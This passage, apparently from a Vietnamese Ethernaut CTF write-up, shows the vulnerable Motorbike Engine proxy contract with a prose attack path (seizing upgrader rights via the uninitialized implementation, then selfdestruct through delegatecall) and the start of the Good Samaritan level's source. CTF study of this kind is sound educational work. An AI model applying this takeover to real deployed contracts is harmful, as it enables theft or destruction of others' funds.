&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">returndatacopy&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nf">returndatasize&lt;/span>&lt;span class="p">())&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">switch&lt;/span> &lt;span class="n">result&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">case&lt;/span> &lt;span class="mi">0&lt;/span> &lt;span class="p">{&lt;/span> &lt;span class="nf">revert&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nf">returndatasize&lt;/span>&lt;span class="p">())&lt;/span> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">default&lt;/span> &lt;span class="p">{&lt;/span> &lt;span class="nf">return&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nf">returndatasize&lt;/span>&lt;span class="p">())&lt;/span> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">// Fallback function that delegates calls to the address returned by `_implementation()`.
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="c1">// Will run if no other function in the contract matches the call data
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="n">fallback&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="k">external&lt;/span> &lt;span class="k">payable&lt;/span> &lt;span class="k">virtual&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">_delegate&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">_getAddressSlot&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">_IMPLEMENTATION_SLOT&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="nb">value&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">// Returns an `AddressSlot` with member `value` located at `slot`.
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kd">function&lt;/span> &lt;span class="nf">_getAddressSlot&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">bytes32&lt;/span> &lt;span class="n">slot&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">internal&lt;/span> &lt;span class="k">pure&lt;/span> &lt;span class="k">returns&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">AddressSlot&lt;/span> &lt;span class="k">storage&lt;/span> &lt;span class="n">r&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">assembly&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">r_slot&lt;/span> &lt;span class="o">:=&lt;/span> &lt;span class="n">slot&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">contract&lt;/span> &lt;span class="nc">Engine&lt;/span> &lt;span class="k">is&lt;/span> &lt;span class="n">Initializable&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">// keccak-256 hash of &amp;#34;eip1967.proxy.implementation&amp;#34; subtracted by 1
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kt">bytes32&lt;/span> &lt;span class="k">internal&lt;/span> &lt;span class="k">constant&lt;/span> &lt;span class="n">_IMPLEMENTATION_SLOT&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mh">0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">address&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">upgrader&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">uint256&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">horsePower&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">struct&lt;/span> &lt;span class="nc">AddressSlot&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">address&lt;/span> &lt;span class="nb">value&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">initialize&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="k">external&lt;/span> &lt;span class="n">initializer&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">horsePower&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">1000&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">upgrader&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">// Upgrade the implementation of the proxy to `newImplementation`
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="c1">// subsequently execute the function call
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kd">function&lt;/span> &lt;span class="nf">upgradeToAndCall&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="n">newImplementation&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">bytes&lt;/span> &lt;span class="k">memory&lt;/span> &lt;span class="nb">data&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">external&lt;/span> &lt;span class="k">payable&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">_authorizeUpgrade&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">_upgradeToAndCall&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">newImplementation&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">data&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">// Restrict to upgrader role
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kd">function&lt;/span> &lt;span class="nf">_authorizeUpgrade&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="k">internal&lt;/span> &lt;span class="k">view&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="n">upgrader&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;Can&amp;#39;t upgrade&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">// Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kd">function&lt;/span> &lt;span class="nf">_upgradeToAndCall&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="n">newImplementation&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">bytes&lt;/span> &lt;span class="k">memory&lt;/span> &lt;span class="nb">data&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">internal&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">// Initial upgrade and setup call
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="n">_setImplementation&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">newImplementation&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nb">data&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">length&lt;/span> &lt;span class="o">&amp;gt;&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">(&lt;/span>&lt;span class="kt">bool&lt;/span> &lt;span class="n">success&lt;/span>&lt;span class="p">,)&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">newImplementation&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">delegatecall&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">data&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">success&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;Call failed&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">// Stores a new address in the EIP1967 implementation slot.
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kd">function&lt;/span> &lt;span class="nf">_setImplementation&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="n">newImplementation&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">private&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">Address&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">isContract&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">newImplementation&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="s">&amp;#34;ERC1967: new implementation is not a contract&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">AddressSlot&lt;/span> &lt;span class="k">storage&lt;/span> &lt;span class="n">r&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">assembly&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">r_slot&lt;/span> &lt;span class="o">:=&lt;/span> &lt;span class="n">_IMPLEMENTATION_SLOT&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">r&lt;/span>&lt;span class="err">.&lt;/span>&lt;span class="n">value&lt;/span> &lt;span class="err">=&lt;/span> &lt;span class="n">newImplementation&lt;/span>&lt;span class="err">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Trong bài này, ta cần destruct contract &lt;code>Engine&lt;/code> bằng cách sử dụng &lt;code>selfdestruct&lt;/code>.&lt;/p>
&lt;p>Tuy nhiên, ta không thấy hàm &lt;code>selfdestruct&lt;/code> trong contract &lt;code>Engine&lt;/code>, nên ta sẽ đi tìm hàm có vẻ nguy hiểm, và ta chú ý đến hàm &lt;code>upgradeToAndCall&lt;/code>.&lt;/p>
&lt;p>Để gọi được hàm &lt;code>upgradeToAndCall&lt;/code>, ta cần phải trở thành &lt;code>upgrader&lt;/code> bằng cách gọi hàm &lt;code>initialize()&lt;/code>. Nhưng để gọi hàm này được, ta cần phải vượt qua modifier &lt;code>initializer&lt;/code>.&lt;/p>
&lt;p>Nếu như ta chỉ gọi hàm &lt;code>initialize()&lt;/code> bình thường, ta sẽ bị lỗi do để truy cập được contract, ta phải đi qua proxy UUPS, và nó đã được initialize. Vì vậy, ta có thể nghĩ đến việc interact với contract &lt;code>Engine&lt;/code> với address trong Proxy Storage, đó chính là address của &lt;code>Engine&lt;/code> khi chưa đi qua UUPS. Bằng cách này, ta có thể gọi hàm &lt;code>initialize()&lt;/code> và lấy quyền upgrade.&lt;/p>
&lt;p>Khi đã có quyền upgrade, ta có thể sử dụng hàm &lt;code>upgradeToAndCall&lt;/code> với address là address của một contract có chứa function &lt;code>selfdestruct&lt;/code>. Bằng cách này, khi được gọi thông qua &lt;code>delegatecall&lt;/code>, contract sẽ hiểu function &lt;code>delegatecall&lt;/code> là của &lt;code>Engine&lt;/code> contract và tự destruct nó.&lt;/p>
&lt;p>Lí thuyết là vậy, tuy nhiên &lt;a href="https://github.com/OpenZeppelin/ethernaut/issues/701#issuecomment-1935760884">từ bản Dencun fork, &lt;code>selfdestruct&lt;/code> chỉ có thể xóa contract khi đã ở trong contract từ trước&lt;/a>, chứ không thể xóa thông qua hàm &lt;code>delegatecall&lt;/code>, do đó ta không thể destruct contract &lt;code>Engine&lt;/code> như yêu cầu đề bài được. Xem như mình biết thêm một cách attack :)&lt;/p>
&lt;h3 id="good-samaritan">Good Samaritan&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-solidity" data-lang="solidity">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// SPDX-License-Identifier: MIT
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="k">pragma solidity&lt;/span> &lt;span class="o">&amp;gt;=&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">0&lt;/span> &lt;span class="o">&amp;lt;&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">9&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="s">&amp;#34;openzeppelin-contracts-08/utils/Address.sol&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">contract&lt;/span> &lt;span class="nc">GoodSamaritan&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">Wallet&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">wallet&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">Coin&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">coin&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">constructor&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">wallet&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="k">new&lt;/span> &lt;span class="n">Wallet&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">coin&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="k">new&lt;/span> &lt;span class="n">Coin&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">wallet&lt;/span>&lt;span class="p">));&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">wallet&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">setCoin&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">coin&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">requestDonation&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="k">external&lt;/span> &lt;span class="k">returns&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="kt">bool&lt;/span> &lt;span class="n">enoughBalance&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">// donate 10 coins to requester
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="k">try&lt;/span> &lt;span class="n">wallet&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">donate10&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="kc">true&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span> &lt;span class="k">catch&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="kt">bytes&lt;/span> &lt;span class="k">memory&lt;/span> &lt;span class="n">err&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nb">keccak256&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">abi&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">encodeWithSignature&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;NotEnoughBalance()&amp;#34;&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="nb">keccak256&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">err&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">// send the coins left
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="n">wallet&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">transferRemainder&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="kc">false&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">contract&lt;/span> &lt;span class="nc">Coin&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kn">using&lt;/span> &lt;span class="n">Address&lt;/span> &lt;span class="k">for&lt;/span> &lt;span class="kt">address&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">mapping&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="o">=&amp;gt;&lt;/span> &lt;span class="kt">uint256&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">balances&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">error&lt;/span> &lt;span class="n">InsufficientBalance&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">uint256&lt;/span> &lt;span class="n">current&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">uint256&lt;/span> &lt;span class="n">required&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">constructor&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="n">wallet_&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">// one million coins for Good Samaritan initially
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="n">balances&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">wallet_&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">10&lt;/span> &lt;span class="o">**&lt;/span> &lt;span class="mi">6&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">transfer&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="n">dest_&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="kt">uint256&lt;/span> &lt;span class="n">amount_&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">external&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">uint256&lt;/span> &lt;span class="n">currentBalance&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">balances&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">];&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">// transfer only occurs if balance is enough
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">amount_&lt;/span> &lt;span class="o">&amp;lt;=&lt;/span> &lt;span class="n">currentBalance&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">balances&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">-=&lt;/span> &lt;span class="n">amount_&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">balances&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">dest_&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="n">amount_&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">dest_&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">isContract&lt;/span>&lt;span class="p">())&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">// notify contract
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="n">INotifyable&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">dest_&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="n">notify&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">amount_&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span> &lt;span class="k">else&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">revert&lt;/span> &lt;span class="n">InsufficientBalance&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">currentBalance&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">amount_&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
